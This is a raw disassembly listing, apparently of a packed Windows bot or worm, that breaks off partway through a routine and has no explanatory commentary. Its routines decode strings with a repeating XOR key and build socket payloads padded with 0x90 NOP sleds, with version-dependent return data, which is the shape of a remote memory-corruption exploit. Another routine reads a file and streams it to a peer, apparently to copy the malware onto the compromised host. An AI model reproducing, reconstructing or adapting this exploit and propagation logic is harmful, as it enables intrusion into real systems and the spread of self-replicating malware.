sub_4105AD	proc near		; CODE XREF: sub_406E8E+C6p
					; sub_406E8E+14Ap ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax]
		cmp	eax, 7Fh
		jle	short loc_4105BE
		jmp	short locret_4105F9
; ---------------------------------------------------------------------------


loc_4105BE:				; CODE XREF: sub_4105AD+Dj
		and	[ebp+var_4], 0
		jmp	short loc_4105CB
; ---------------------------------------------------------------------------


loc_4105C4:				; CODE XREF: sub_4105AD+4Aj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_4105CB:				; CODE XREF: sub_4105AD+15j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short locret_4105F9
		mov	eax, [ebp+var_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		xor	al, byte_41EAC0[edx]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_4105C4
; ---------------------------------------------------------------------------

locret_4105F9:				; CODE XREF: sub_4105AD+Fj
					; sub_4105AD+29j
		leave
		retn
sub_4105AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4105FB	proc near		; CODE XREF: sub_401000+4Ap
					; sub_4043E9+1Ap ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax]
		cmp	eax, 7Fh
		jg	short loc_41060C
		jmp	short locret_410647
; ---------------------------------------------------------------------------


loc_41060C:				; CODE XREF: sub_4105FB+Dj
		and	[ebp+var_4], 0
		jmp	short loc_410619
; ---------------------------------------------------------------------------


loc_410612:				; CODE XREF: sub_4105FB+4Aj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_410619:				; CODE XREF: sub_4105FB+15j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short locret_410647
		mov	eax, [ebp+var_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		xor	al, byte_41EAC0[edx]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_410612
; ---------------------------------------------------------------------------

locret_410647:				; CODE XREF: sub_4105FB+Fj
					; sub_4105FB+29j
		leave
		retn
sub_4105FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410649	proc near		; DATA XREF: MEW:off_41CCD6o

var_1B78	= dword	ptr -1B78h
var_1B74	= byte ptr -1B74h
var_B74		= byte ptr -0B74h
var_B6C		= dword	ptr -0B6Ch
var_B64		= dword	ptr -0B64h
var_374		= dword	ptr -374h
var_370		= dword	ptr -370h
var_36C		= byte ptr -36Ch
var_280		= byte ptr -280h
var_276		= byte ptr -276h
var_272		= byte ptr -272h
var_23A		= byte ptr -23Ah
var_236		= byte ptr -236h
var_232		= byte ptr -232h
var_204		= dword	ptr -204h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1B78h
		call	sub_416BC0
		push	48h
		push	offset dword_41A7B0
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	0EA60h
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_410686
		jmp	locret_410B50
; ---------------------------------------------------------------------------


loc_410686:				; CODE XREF: sub_410649+36j
		push	0
		push	1000h
		lea	eax, [ebp+var_1B74]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	dword_417248	; recv
		push	7
		push	offset dword_41A7A8
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+2Ah]
		mov	eax, [ebp+arg_0]
		add	eax, 146h
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, 0C6h
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+0C2h]
		push	200h
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4125DF
		add	esp, 20h
		mov	[ebp+var_370], eax
		cmp	[ebp+var_370], 0
		jnz	short loc_4106F0
		jmp	locret_410B50
; ---------------------------------------------------------------------------


loc_4106F0:				; CODE XREF: sub_410649+A0j
		and	[ebp+var_374], 0
		jmp	short loc_410706
; ---------------------------------------------------------------------------


loc_4106F9:				; CODE XREF: sub_410649+E1j
		mov	eax, [ebp+var_374]
		inc	eax
		mov	[ebp+var_374], eax


loc_410706:				; CODE XREF: sub_410649+AEj
		cmp	[ebp+var_374], 168h
		jge	short loc_41072C
		push	7Ah
		push	61h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_374]
		mov	[ebp+ecx+var_36C], al
		jmp	short loc_4106F9
; ---------------------------------------------------------------------------


loc_41072C:				; CODE XREF: sub_410649+C7j
		push	0Ah
		push	offset loc_41A8A0
		lea	eax, [ebp+var_280]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	2
		push	offset loc_41A8F0
		lea	eax, [ebp+var_276]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	4
		push	offset loc_41A8E8
		lea	eax, [ebp+var_272]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	2
		push	offset loc_41A8EC
		lea	eax, [ebp+var_23A]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	4
		push	(offset	loc_41A8E3+1)
		lea	eax, [ebp+var_236]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	0Bh
		push	offset loc_41A894
		lea	eax, [ebp+var_232]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, 3E6h
		sub	eax, [ebp+var_370]
		mov	[ebp+var_204], eax
		and	[ebp+var_1B78],	0
		push	18h
		push	offset dword_41A7FC
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 18h
		mov	[ebp+var_1B78],	eax
		push	44h
		push	offset dword_41A818
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 44h
		mov	[ebp+var_1B78],	eax
		push	20h
		push	0FFFFFF90h
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 20h
		mov	[ebp+var_1B78],	eax
		push	4
		push	offset loc_41A8AC
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 4
		mov	[ebp+var_1B78],	eax
		push	4
		push	offset loc_41A8E0
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 4
		mov	[ebp+var_1B78],	eax
		push	4
		push	offset dword_41A8D8
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 4
		mov	[ebp+var_1B78],	eax
		push	4
		push	offset loc_41A8DC
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 4
		mov	[ebp+var_1B78],	eax
		push	58h
		push	0FFFFFF90h
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 58h
		mov	[ebp+var_1B78],	eax
		push	6
		push	offset loc_41A8B4
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 6
		mov	[ebp+var_1B78],	eax
		push	8
		push	0FFFFFF90h
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 8
		mov	[ebp+var_1B78],	eax
		push	4
		push	offset loc_41A8BC
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 4
		mov	[ebp+var_1B78],	eax
		push	4
		push	0FFFFFF90h
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 4
		mov	[ebp+var_1B78],	eax
		push	6
		push	offset loc_41A8C4
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 6
		mov	[ebp+var_1B78],	eax
		push	[ebp+var_204]
		push	0FFFFFF90h
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, [ebp+var_204]
		mov	[ebp+var_1B78],	eax
		push	[ebp+var_370]
		lea	eax, [ebp+var_200]
		push	eax
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, [ebp+var_370]
		mov	[ebp+var_1B78],	eax
		push	168h
		lea	eax, [ebp+var_36C]
		push	eax
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 168h
		mov	[ebp+var_1B78],	eax
		push	0Ah
		push	offset off_41A8CC
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 0Ah
		mov	[ebp+var_1B78],	eax
		push	32h
		push	offset dword_41A860
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 32h
		mov	[ebp+var_1B78],	eax
		mov	eax, [ebp+var_1B78]
		mov	[ebp+var_B6C], eax
		mov	eax, [ebp+var_1B78]
		sub	eax, 18h
		mov	[ebp+var_B64], eax
		push	[ebp+var_1B78]
		lea	eax, [ebp+var_B74]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	0EA60h
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_410B36
		jmp	short locret_410B50
; ---------------------------------------------------------------------------


loc_410B36:				; CODE XREF: sub_410649+4E9j
		push	0
		push	1000h
		lea	eax, [ebp+var_1B74]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	dword_417248	; recv

locret_410B50:				; CODE XREF: sub_410649+38j
					; sub_410649+A2j ...
		leave
		retn
sub_410649	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410B52	proc near		; DATA XREF: MEW:0041CD10o

var_104C	= byte ptr -104Ch
var_FC6		= byte ptr -0FC6h
var_BDE		= byte ptr -0BDEh
var_B9E		= byte ptr -0B9Eh
var_B7C		= dword	ptr -0B7Ch
var_B78		= byte ptr -0B78h
var_AF2		= byte ptr -0AF2h
var_88E		= byte ptr -88Eh
var_882		= byte ptr -882h
var_85E		= byte ptr -85Eh
var_852		= byte ptr -852h
var_82E		= byte ptr -82Eh
var_80C		= byte ptr -80Ch
var_7CC		= byte ptr -7CCh
var_7C8		= byte ptr -7C8h
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 104Ch
		call	sub_416BC0
		push	7
		push	offset dword_41A7A8
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+2Ah]
		mov	eax, [ebp+arg_0]
		add	eax, 146h
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, 0C6h
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+0C2h]
		push	200h
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4125DF
		add	esp, 20h
		mov	[ebp+var_20C], eax
		cmp	[ebp+var_20C], 0
		jnz	short loc_410BAF
		jmp	locret_410F5E
; ---------------------------------------------------------------------------


loc_410BAF:				; CODE XREF: sub_410B52+56j
		push	89h
		push	offset dword_41AF50
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	600h
		lea	eax, [ebp+var_80C]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_405443
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410BEF
		jmp	locret_410F5E
; ---------------------------------------------------------------------------


loc_410BEF:				; CODE XREF: sub_410B52+96j
		push	0A8h
		push	offset dword_41AFDC
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	600h
		lea	eax, [ebp+var_80C]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_405443
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410C2F
		jmp	locret_410F5E
; ---------------------------------------------------------------------------


loc_410C2F:				; CODE XREF: sub_410B52+D6j
		push	0DEh
		push	offset dword_41B088
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	600h
		lea	eax, [ebp+var_80C]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_405443
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410C6F
		jmp	locret_410F5E
; ---------------------------------------------------------------------------


loc_410C6F:				; CODE XREF: sub_410B52+116j
		movsx	eax, [ebp+var_7CC]
		sub	eax, 30h
		mov	[ebp+var_208], al
		movsx	eax, [ebp+var_7C8]
		sub	eax, 30h
		mov	[ebp+var_4], al
		push	3Eh
		push	offset dword_41B168
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	600h
		lea	eax, [ebp+var_80C]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_405443
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410CC9
		jmp	locret_410F5E
; ---------------------------------------------------------------------------


loc_410CC9:				; CODE XREF: sub_410B52+170j
		push	60h
		push	offset dword_41B1A8
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	600h
		lea	eax, [ebp+var_80C]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_405443
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410D06
		jmp	locret_410F5E
; ---------------------------------------------------------------------------


loc_410D06:				; CODE XREF: sub_410B52+1ADj
		push	0A0h
		push	offset dword_41B20C
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	600h
		lea	eax, [ebp+var_80C]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_405443
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410D46
		jmp	locret_410F5E
; ---------------------------------------------------------------------------


loc_410D46:				; CODE XREF: sub_410B52+1EDj
		movsx	eax, [ebp+var_208]
		cmp	eax, 5
		jnz	loc_410E71
		movsx	eax, [ebp+var_4]
		cmp	eax, 1
		jnz	loc_410E71
		push	86h
		push	offset dword_41B2B0
		lea	eax, [ebp+var_B78]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+var_20C]
		lea	eax, [ebp+var_204]
		push	eax
		lea	eax, [ebp+var_AF2]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	0
		mov	eax, 264h
		sub	eax, [ebp+var_20C]
		add	eax, 60h
		push	eax
		mov	eax, [ebp+var_20C]
		lea	eax, [ebp+eax+var_AF2]
		push	eax


loc_410DB7:				; DATA XREF: MEW:off_419A7Co
		call	sub_410F60
		add	esp, 0Ch
		push	4
		push	offset dword_41B410
		lea	eax, [ebp+var_88E]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	4
		push	offset dword_41B408
		lea	eax, [ebp+var_882]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	4
		push	offset dword_41B408
		lea	eax, [ebp+var_85E]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	4
		push	offset dword_41B408
		lea	eax, [ebp+var_852]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	20h
		push	offset dword_41B338
		lea	eax, [ebp+var_82E]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	36Ah
		lea	eax, [ebp+var_B78]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	400h
		call	dword_41709C	; Sleep
		push	36Ah
		lea	eax, [ebp+var_B78]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	locret_410F5E
; ---------------------------------------------------------------------------


loc_410E71:				; CODE XREF: sub_410B52+1FEj
					; sub_410B52+20Bj
		movsx	eax, [ebp+var_208]
		cmp	eax, 5
		jnz	short loc_410E85
		movsx	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_410E95


loc_410E85:				; CODE XREF: sub_410B52+329j
		movsx	eax, [ebp+var_208]
		cmp	eax, 4
		jnz	locret_410F5E


loc_410E95:				; CODE XREF: sub_410B52+331j
		push	86h
		push	offset dword_41B35C
		lea	eax, [ebp+var_104C]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, 3E8h
		sub	eax, [ebp+var_20C]
		push	eax
		push	90h
		lea	eax, [ebp+var_FC6]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	[ebp+var_20C]
		lea	eax, [ebp+var_204]
		push	eax
		lea	eax, [ebp+var_BDE]
		sub	eax, [ebp+var_20C]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		and	[ebp+var_B7C], 0
		jmp	short loc_410F06
; ---------------------------------------------------------------------------


loc_410EF9:				; CODE XREF: sub_410B52+3DAj
		mov	eax, [ebp+var_B7C]
		inc	eax
		mov	[ebp+var_B7C], eax


loc_410F06:				; CODE XREF: sub_410B52+3A5j
		cmp	[ebp+var_B7C], 10h
		jge	short loc_410F2E
		push	4
		push	offset dword_41B408
		mov	eax, [ebp+var_B7C]
		lea	eax, [ebp+eax*4+var_BDE]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		jmp	short loc_410EF9
; ---------------------------------------------------------------------------


loc_410F2E:				; CODE XREF: sub_410B52+3BBj
		push	20h
		push	offset dword_41B3E4
		lea	eax, [ebp+var_B9E]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	4CEh
		lea	eax, [ebp+var_104C]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch

locret_410F5E:				; CODE XREF: sub_410B52+58j
					; sub_410B52+98j ...
		leave
		retn
sub_410B52	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410F60	proc near		; CODE XREF: sub_410B52:loc_410DB7p

var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		cmp	[ebp+arg_8], 0
		jnz	short loc_410FA4
		and	[ebp+var_4], 0
		jmp	short loc_410F79
; ---------------------------------------------------------------------------


loc_410F72:				; CODE XREF: sub_410F60+3Dj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_410F79:				; CODE XREF: sub_410F60+10j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_4]
		jnb	short loc_410F9F
		push	20h
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		imul	eax, 5
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	al, byte_41BB00[eax]
		mov	[ecx], al
		jmp	short loc_410F72
; ---------------------------------------------------------------------------


loc_410F9F:				; CODE XREF: sub_410F60+1Fj
		jmp	locret_41102D
; ---------------------------------------------------------------------------


loc_410FA4:				; CODE XREF: sub_410F60+Aj
		cmp	[ebp+arg_8], 7Fh
		jnz	short loc_410FDF
		and	[ebp+var_8], 0
		jmp	short loc_410FB7
; ---------------------------------------------------------------------------


loc_410FB0:				; CODE XREF: sub_410F60+7Bj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_410FB7:				; CODE XREF: sub_410F60+4Ej
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_4]
		jnb	short loc_410FDD
		push	5
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		imul	eax, 5
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	al, byte_41BB00[eax]
		mov	[ecx], al
		jmp	short loc_410FB0
; ---------------------------------------------------------------------------


loc_410FDD:				; CODE XREF: sub_410F60+5Dj
		jmp	short locret_41102D
; ---------------------------------------------------------------------------


loc_410FDF:				; CODE XREF: sub_410F60+48j
		and	[ebp+var_C], 0


loc_410FE3:				; CODE XREF: sub_410F60+ADj
					; sub_410F60+CBj
		mov	eax, [ebp+var_C]
		cmp	eax, [ebp+arg_4]
		jnb	short locret_41102D
		push	20h
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_10], al
		movsx	eax, [ebp+var_10]
		imul	eax, 5
		mov	ecx, [ebp+arg_8]
		and	ecx, dword_41BB01[eax]
		test	ecx, ecx
		jz	short loc_41100F
		jmp	short loc_410FE3
; ---------------------------------------------------------------------------


loc_41100F:				; CODE XREF: sub_410F60+ABj
		movsx	eax, [ebp+var_10]
		imul	eax, 5
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_C]
		mov	al, byte_41BB00[eax]
		mov	[ecx], al
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		jmp	short loc_410FE3
; ---------------------------------------------------------------------------

locret_41102D:				; CODE XREF: sub_410F60:loc_410F9Fj
					; sub_410F60:loc_410FDDj ...
		leave
		retn
sub_410F60	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41102F	proc near		; CODE XREF: sub_41113B+79Bp

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	0EA60h
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_204], eax
		cmp	[ebp+var_204], 0
		jz	short loc_411065
		cmp	[ebp+var_204], 0FFFFFFFFh
		jnz	short loc_41106C


loc_411065:				; CODE XREF: sub_41102F+2Bj
		xor	eax, eax
		jmp	locret_411139
; ---------------------------------------------------------------------------


loc_41106C:				; CODE XREF: sub_41102F+34j
		push	offset aRb	; "rb"
		push	offset dword_41EAFC
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_208], eax
		cmp	[ebp+var_208], 0
		jnz	short loc_41109F
		push	[ebp+var_204]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax
		jmp	locret_411139
; ---------------------------------------------------------------------------


loc_41109F:				; CODE XREF: sub_41102F+5Bj
					; sub_41102F:loc_41111Cj
		mov	eax, [ebp+var_208]
		mov	eax, [eax+0Ch]
		and	eax, 10h
		test	eax, eax
		jnz	short loc_41111E
		push	[ebp+var_208]
		push	200h
		push	1
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B90	; fread
		add	esp, 10h
		mov	[ebp+var_20C], eax
		push	[ebp+var_20C]
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+var_204]
		call	sub_4053BF
		add	esp, 0Ch
		mov	[ebp+var_210], eax
		mov	eax, [ebp+var_20C]
		cmp	eax, [ebp+var_210]
		jz	short loc_41111C
		push	[ebp+var_204]
		call	sub_4053B1
		pop	ecx
		push	[ebp+var_208]
		call	sub_416B82	; fclose
		pop	ecx
		xor	eax, eax
		jmp	short locret_411139
; ---------------------------------------------------------------------------


loc_41111C:				; CODE XREF: sub_41102F+CFj
		jmp	short loc_41109F
; ---------------------------------------------------------------------------


loc_41111E:				; CODE XREF: sub_41102F+7Ej
		push	[ebp+var_204]
		call	sub_40538D
		pop	ecx
		push	[ebp+var_208]
		call	sub_416B82	; fclose
		pop	ecx
		push	1
		pop	eax

locret_411139:				; CODE XREF: sub_41102F+38j
					; sub_41102F+6Bj ...
		leave
		retn
sub_41102F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41113B	proc near		; DATA XREF: sub_411BBC+156o

var_558		= dword	ptr -558h
var_554		= dword	ptr -554h
var_550		= dword	ptr -550h
var_54C		= dword	ptr -54Ch
var_548		= dword	ptr -548h
var_544		= dword	ptr -544h
var_540		= byte ptr -540h
var_53C		= byte ptr -53Ch
var_538		= byte ptr -538h
var_534		= dword	ptr -534h
var_530		= byte ptr -530h
var_52C		= dword	ptr -52Ch
var_528		= dword	ptr -528h
var_524		= dword	ptr -524h
var_520		= dword	ptr -520h
var_51C		= dword	ptr -51Ch
var_518		= byte ptr -518h
var_318		= byte ptr -318h
var_118		= dword	ptr -118h
var_114		= byte ptr -114h
var_113		= byte ptr -113h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 558h
		push	edi
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10C], eax
		push	offset dword_41C6B0
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		mov	al, byte_41DE00
		mov	[ebp+var_104], al
		push	3Fh
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_103]
		rep stosd
		stosw
		stosb
		mov	al, byte_41DE00
		mov	[ebp+var_114], al
		xor	eax, eax
		lea	edi, [ebp+var_113]
		stosd
		stosb
		and	[ebp+var_4], 0
		and	[ebp+var_118], 0
		and	[ebp+var_108], 0


loc_4111CC:				; CODE XREF: sub_41113B+10Cj
					; sub_41113B+1BDj ...
		push	0EA60h
		push	[ebp+var_10C]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_4119BA
		push	200h
		lea	eax, [ebp+var_318]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053DC
		add	esp, 0Ch
		mov	[ebp+var_520], eax
		cmp	[ebp+var_520], 0
		jz	short loc_411218
		cmp	[ebp+var_520], 0FFFFFFFFh
		jnz	short loc_41121D


loc_411218:				; CODE XREF: sub_41113B+D2j
		jmp	loc_4119BA
; ---------------------------------------------------------------------------


loc_41121D:				; CODE XREF: sub_41113B+DBj
		lea	eax, [ebp+var_108]
		push	eax
		push	offset dword_41C6AC
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_528], eax
		cmp	[ebp+var_528], 0
		jnz	short loc_411249
		jmp	short loc_4111CC
; ---------------------------------------------------------------------------


loc_411249:				; CODE XREF: sub_41113B+10Aj
